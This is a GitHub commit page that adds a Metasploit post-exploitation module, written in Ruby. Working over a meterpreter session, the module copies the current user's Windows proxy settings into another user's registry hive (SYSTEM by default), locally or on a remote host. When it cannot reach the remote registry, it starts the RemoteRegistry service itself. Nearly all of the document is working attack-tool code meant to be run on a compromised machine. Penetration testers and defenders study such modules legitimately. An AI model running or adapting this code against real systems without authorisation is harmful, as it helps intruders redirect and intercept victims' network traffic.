Skip to content

Commit 5f99f27

Browse files
committed
add proxy setting cloning module
1 parent ae690f5 commit 5f99f27

File tree

1 file changed

+167
-0
lines changed

1 file changed

+167
-0
lines changed
Lines changed: 167 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,167 @@
1+
##
2+
# $Id$
3+
##
4+
5+
##
6+
# This file is part of the Metasploit Framework and may be subject to
7+
# redistribution and commercial restrictions. Please see the Metasploit
8+
# web site for more information on licensing and terms of use.
9+
# http://metasploit.com/
10+
##
11+
12+
require 'msf/core'
13+
14+
class Metasploit3 < Msf::Post
15+
16+
include Msf::Auxiliary::Report
17+
18+
def initialize
19+
super(
20+
'Name' => 'Windows Manage Proxy Setting Cloner',
21+
'Version' => '$Revision$',
22+
'Description' => %q{
23+
This module copies the proxy settings from the current user to the
24+
targeted user SID, supports remote hosts as well if remote registry
25+
is allowed.
26+
},
27+
'Author' => [ 'mubix <mubix[at]hak5.org>' ],
28+
'License' => MSF_LICENSE,
29+
'Platform' => [ 'windows' ],
30+
'SessionTypes' => [ 'meterpreter' ]
31+
)
32+
33+
register_options(
34+
[
35+
OptAddress.new('RHOST', [ false, 'Remote host to clone settings to, defaults to local' ]),
36+
OptString.new('SID', [ false, 'SID of user to clone settings to, defaults to SYSTEM', 'S-1-5-18' ])
37+
], self.class)
38+
end
39+
40+
def parse_settings(data)
41+
print_status "\tProxy Counter = #{(data[4,1].unpack('C*'))[0]}"
42+
case (data[8,1].unpack('C*'))[0]
43+
when 1
44+
print_status "\tSetting: No proxy settings"
45+
when 3
46+
print_status "\tSetting: Proxy server"
47+
when 5
48+
print_status "\tSetting: Set proxy via AutoConfigure script"
49+
when 7
50+
print_status "\tSetting: Proxy server and AutoConfigure script"
51+
when 9
52+
print_status "\tSetting: WPAD"
53+
when 11
54+
print_status "\tSetting: WPAD and Proxy server"
55+
when 13
56+
print_status "\tSetting: WPAD and AutoConfigure script"
57+
when 15
58+
print_status "\tSetting: WPAD, Proxy server and AutoConfigure script"
59+
else
60+
print_status "\tSetting: Unknown proxy setting found"
61+
end
62+
63+
cursor = 12
64+
proxyserver = data[cursor+4, (data[cursor,1].unpack('C*'))[0]]
65+
print_status "\tProxy Server: #{proxyserver}" if proxyserver != ""
66+
67+
cursor = cursor + 4 + (data[cursor].unpack('C*'))[0]
68+
additionalinfo = data[cursor+4, (data[cursor,1].unpack('C*'))[0]]
69+
print_status "\tAdditional Info: #{additionalinfo}" if additionalinfo != ""
70+
71+
cursor = cursor + 4 + (data[cursor].unpack('C*'))[0]
72+
autoconfigurl = data[cursor+4, (data[cursor,1].unpack('C*'))[0]]
73+
print_status "\tAutoConfigURL: #{autoconfigurl}" if autoconfigurl != ""
74+
end
75+
76+
def target_settings(dst_root_key,dst_base_key)
77+
78+
if datastore['RHOST']
79+
begin
80+
dst_key = session.sys.registry.open_remote_key(datastore['RHOST'], dst_root_key)
81+
rescue ::Rex::Post::Meterpreter::RequestError
82+
print_error("Unable to contact remote registry service on #{datastore['RHOST']}")
83+
print_status("Attempting to start service remotely...")
84+
begin
85+
service_start('RemoteRegistry',datastore['RHOST'])
86+
rescue
87+
print_error('Unable to read registry or start the service, exiting...')
88+
return
89+
end
90+
startedreg = true
91+
dst_key = session.sys.registry.open_remote_key(datastore['RHOST'], dst_root_key)
92+
end
93+
dst_open_key = dst_key.open_key(dst_base_key)
94+
else
95+
dst_open_key = session.sys.registry.open_key(dst_root_key, dst_base_key)
96+
end
97+
98+
dst_values = dst_open_key.query_value('DefaultConnectionSettings')
99+
100+
#If we started the service we need to stop it.
101+
service_stop('RemoteRegistry',datastore['RHOST']) if startedreg
102+
103+
dst_data = dst_values.data
104+
105+
print_status('Current proxy settings for target:')
106+
parse_settings(dst_data)
107+
end
108+
109+
def run
110+
111+
if datastore['SID'] == "" and !datastore['RHOST']
112+
print_error('No reason to copy the settings on top of themselves, please set a SID or/and RHOST')
113+
return
114+
end
115+
116+
# Pull current user's settings
117+
src_root_key, src_base_key = session.sys.registry.splitkey("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections")
118+
src_open_key = session.sys.registry.open_key(src_root_key, src_base_key)
119+
src_values = src_open_key.query_value('DefaultConnectionSettings')
120+
src_data = src_values.data
121+
print_status('Proxy settings being copied:')
122+
parse_settings(src_data)
123+
124+
125+
# Print current settings of target
126+
print_status('Attempting to read target\'s settings...')
127+
if datastore['SID']
128+
dst_root_key, dst_base_key = session.sys.registry.splitkey("HKU\\#{datastore['SID']}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections")
129+
else
130+
dst_root_key, dst_base_key = session.sys.registry.splitkey("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections")
131+
end
132+
133+
target_settings(dst_root_key, dst_base_key)
134+
135+
print_status('Cloning... bahh..')
136+
137+
if datastore['RHOST']
138+
begin
139+
dst_key = session.sys.registry.open_remote_key(datastore['RHOST'], dst_root_key)
140+
rescue ::Rex::Post::Meterpreter::RequestError
141+
print_error("Unable to contact remote registry service on #{datastore['RHOST']}")
142+
print_status("Attempting to start service remotely...")
143+
begin
144+
service_start('RemoteRegistry',datastore['RHOST'])
145+
rescue
146+
print_error('Unable to read registry or start the service, exiting...')
147+
return
148+
end
149+
startedreg2 = true
150+
dst_key = session.sys.registry.open_remote_key(datastore['RHOST'], dst_root_key)
151+
end
152+
dst_open_key = dst_key.create_key(dst_base_key, KEY_WRITE + 0x0000)
153+
else
154+
dst_open_key = session.sys.registry.create_key(dst_root_key, dst_base_key, KEY_WRITE + 0x0000)
155+
end
156+
157+
#If we started the service we need to stop it.
158+
service_stop('RemoteRegistry',datastore['RHOST']) if startedreg2
159+
160+
dst_open_key.set_value('DefaultConnectionSettings', REG_BINARY, src_data)
161+
162+
print_status('New settings:')
163+
target_settings(dst_root_key, dst_base_key)
164+
165+
end
166+
167+
end

0 commit comments

Comments
 (0)